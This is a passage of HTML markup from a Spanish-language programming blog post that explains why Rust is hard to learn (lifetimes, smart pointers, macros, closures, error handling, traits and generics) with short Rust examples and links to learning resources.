hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/4RZzjXmXcKg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h3 id=&#34;entender-los-lifetimes-en-rust-es-dificil&#34;&gt;Entender los Lifetimes en Rust es difícil&lt;/h3&gt;&#xA;&lt;p&gt;Este concepto sirve para indicarle manualmente al compilador la duración (el tiempo de vida) de una variable, en casos donde este no pueda inferirla automáticamente. Una vez que los entiendes, los lifetimes simple en práctica pero pueden reducir la legibilidad del código, sobre todo si nunca los has visto.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/972opz.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/972opz.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Como se siente cuando lees sobre lifetimes la primera vez en Rust&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Como se siente cuando lees sobre lifetimes la primera vez en Rust&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;No es necesario que entiendas exactamente que hace, lo importante aquí es que aprecies como su uso puede volver el código bastante ilegible y complicado de entender a simple vista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;longest&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;(x: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;str&lt;/span&gt;, y: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;str&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;&amp;#39;a&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;str&lt;/span&gt; { &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; x.len() &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; y.len() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La buena noticia es que, para mi alivio, no parecer ser una característica que se tenga que poner en práctica frecuentemente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;entender-cuando-usar-los-multiples-punteros-inteligentes-box-refcell-cell-arc-mutex-en-rust-es-dificil&#34;&gt;Entender cuando usar los Múltiples Punteros inteligentes Box, RefCell, Cell, Arc, Mutex, en Rust es difícil&lt;/h3&gt;&#xA;&lt;p&gt;Rust cuenta con una serie de punteros inteligentes para manejar las referencias a la memoria en el caso de que necesites acceder a una variable desde muchos otros lados (Anteriormente he escrito, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-condiciones-de-carrera-en-goroutines-y-mutex/&#34;&gt;sobre Mutex pero en Go&lt;/a&gt;&#xA;).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/972oco.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/972oco.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cuando aprendes Rust por primera vez se siente así&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Suena simple pero, nuevamente, las cosas se complican cuando llega el momento de expresarlo en código y poder diferenciar el uso de cada uno y que problema resuelven.&lt;/p&gt;&#xA;&lt;p&gt;Yo no entendía sus diferencias ni sus usos la primera vez que los leí, y pude darme cuenta de que no era el único, stackoverflow y Reddit están llenos de preguntas sobre estos punteros inteligentes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; value &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Rc::new(RefCell::new(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mientras investigaba sobre el tema encontré este vídeo, y los entendí perfectamente después de verlo.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/CTTiaOo4cbY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;O checa este &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://whiztal.io/rust-tips-rc-box-arc-cell-refcell-mutex/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;resumen de Box, Arc, Rc, RefCell y Mutex.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-uso-frecuente-de-los-macros-en-rust-puede-ser-intimidante&#34;&gt;El uso frecuente de los Macros en Rust puede ser intimidante&lt;/h3&gt;&#xA;&lt;p&gt;Una macro, en Rust, es simplemente un fragmento de código que genera otro código de Rust durante la compilación.&lt;/p&gt;&#xA;&lt;p&gt;Las macros no son concepto nuevo o exclusivo de Rust. Sin embargo, si estás acostumbrado a otros lenguajes de programación, probablemente te confunda la idea de tener un decorador extravagante, con brackets que contienen una llamada a una función y todo esto con un hashtag al principio.&lt;/p&gt;&#xA;&lt;p&gt;Aunado a lo anterior, es bastante común ver macros en el código de otras personas, por lo que puede dificultar la comprensión si es tu primer contacto con el lenguaje, a mi me pasó.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[derive(Debug)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;enum&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;List&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Cons(Rc&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;RefCell&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt;, Rc&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;List&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Nil,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;la-sintaxis-de-los-closures-en-rust-es-dificil&#34;&gt;La sintaxis de los Closures en Rust es difícil&lt;/h3&gt;&#xA;&lt;p&gt;Si vienes de lenguajes como Javascript, probablemente estés familiarizado con los closures (como en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/explicacion-interactiva-de-debounce-y-throttle/&#34;&gt;patrón debounce&lt;/a&gt;&#xA;), bien en Rust también existen, pero la primera vez que vi uno, me confundió su sintaxis, usando los pipes para recibir a los argumentos y con la palabra move, que transfiere la propiedad de todas las variables que contiene al closure.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;std::thread::spawn(&lt;span style=&#34;color:#ff6ac1&#34;&gt;move&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;||&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;println!&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;captured &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{data:?}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; by value&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}).join().unwrap();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo bueno es que solo es cuestión de acostumbrarse a la sintaxis.&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-manejo-de-errores-y-null-values-en-rust-es-complejo&#34;&gt;El manejo de Errores y null values en Rust es complejo&lt;/h3&gt;&#xA;&lt;p&gt;Rust no cuenta con &lt;em&gt;Try&lt;/em&gt; y &lt;em&gt;Catch&lt;/em&gt;, sino que el manejo de errores y de valores nulos debe hacerse de manera explícita, parecido a como se hace en Go, para esto Rust echa mano de &lt;em&gt;Result&lt;/em&gt;, &lt;em&gt;Option&lt;/em&gt;, &lt;em&gt;unwrap&lt;/em&gt; y &lt;em&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;option&#34;&gt;Option&lt;/h4&gt;&#xA;&lt;p&gt;&lt;em&gt;Option&lt;/em&gt; es un enum, este representa un valor (&lt;em&gt;Some&lt;/em&gt;) o la ausencia de este (&lt;em&gt;None&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; x: &lt;span style=&#34;color:#ff5c57&#34;&gt;Option&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Some&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;13&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; y: &lt;span style=&#34;color:#ff5c57&#34;&gt;Option&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;None&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;result&#34;&gt;Result&lt;/h4&gt;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt;, otro enum, este representa una operación exitosa (&lt;em&gt;Ok&lt;/em&gt;) o fracasada (&lt;em&gt;Err&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;divide&lt;/span&gt;(a: &lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;, b: &lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Result&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;i32&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; b &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;Err&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cannot divide by zero&amp;#34;&lt;/span&gt;.to_string())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;Ok&lt;/span&gt;(a &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; b)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;expect&#34;&gt;Expect&lt;/h4&gt;&#xA;&lt;p&gt;&lt;em&gt;expect&lt;/em&gt; un método que retorna el valor, ya sea &lt;em&gt;Option&lt;/em&gt; o &lt;em&gt;Result&lt;/em&gt; entra en pánico &lt;del&gt;(como tú)&lt;/del&gt; si hay un error o un &lt;em&gt;None&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; x &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Some&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;).expect(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Value not found&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;-operator&#34;&gt;? operator&lt;/h4&gt;&#xA;&lt;p&gt;El operador &lt;em&gt;?&lt;/em&gt;  propagada el error en un tipo &lt;em&gt;Result&lt;/em&gt;, retorna el error si existe o &lt;em&gt;desenvuelve&lt;/em&gt; el valor que contiene &lt;em&gt;Ok&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_file&lt;/span&gt;() -&amp;gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;Result&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt;, std::io::Error&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; content &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; std::fs::read_to_string(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file.txt&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;?&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;Ok&lt;/span&gt;(content)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encontré este recurso que explica &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sheshbabu.com/posts/rust-error-handling/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;el manejo de errores en Rust&lt;/a&gt;&#xA; de una manera accesible y sencilla, leelo detenidamente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;combinar-traits-impl-y-generics-en-rust-es-dificil&#34;&gt;Combinar traits, impl y generics en Rust es difícil&lt;/h3&gt;&#xA;&lt;p&gt;Los traits piensa en ellos como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/&#34;&gt;interfaces, (de las cuales ya te hable en mi post sobre el polimorfismo en Go)&lt;/a&gt;&#xA;, mezclados con generics, pueden llegar ser difíciles de comprender.&lt;/p&gt;&#xA;&lt;p&gt;En el ejemplo de abajo usamos un generic en un struct, para indicarle que grade puede ser cualquier tipo, y en la implentación nos aseguramos que este genérico satisfaga al trait Display, para que pueda ser impreso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Taken from rustlings exercises, see the final part of this post&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Display is a trait here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;use&lt;/span&gt; std::fmt::Display;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Grade can be anything as long as ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Report&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;T&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    grade: &lt;span style=&#34;color:#f3f99d&#34;&gt;T&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    student_name: &lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    student_age: &lt;span style=&#34;color:#9aedfe&#34;&gt;u8&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// it satisfies the display Trait&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;T: &lt;span style=&#34;color:#f3f99d&#34;&gt;Display&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; Report&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;T&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;) -&amp;gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;String&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;format!&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;student: &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; (&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;) - achieved a grade of &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;.student_name, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;.student_age, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;.grade,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;donde-aprender-rust&#34;&gt;¿Dónde aprender Rust?&lt;/h2&gt;&#xA;&lt;p&gt;Para finalizar este post, te comparto algunos recursos que puedes usar para aprender Rust, pero considera que dominar Rust no es una tarea de un fin de semana.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-rust-book-en-multiples-idiomas&#34;&gt;The Rust Book en múltiples idiomas&lt;/h3&gt;&#xA;&lt;p&gt;Rust cuenta con su propia biblia, llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://doc.rust-lang.org/book/appendix-06-translation.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&amp;ldquo;The Rust book&amp;rdquo;, disponible en múltiples idiomas&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/RustLangES/rust-book-es&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;español incluido&lt;/a&gt;&#xA;. El libro está muy bien explicado y es muy fácil de seguir, eso sí, es un poco largo, aunque es entendible dada la gran cantidad de conceptos a 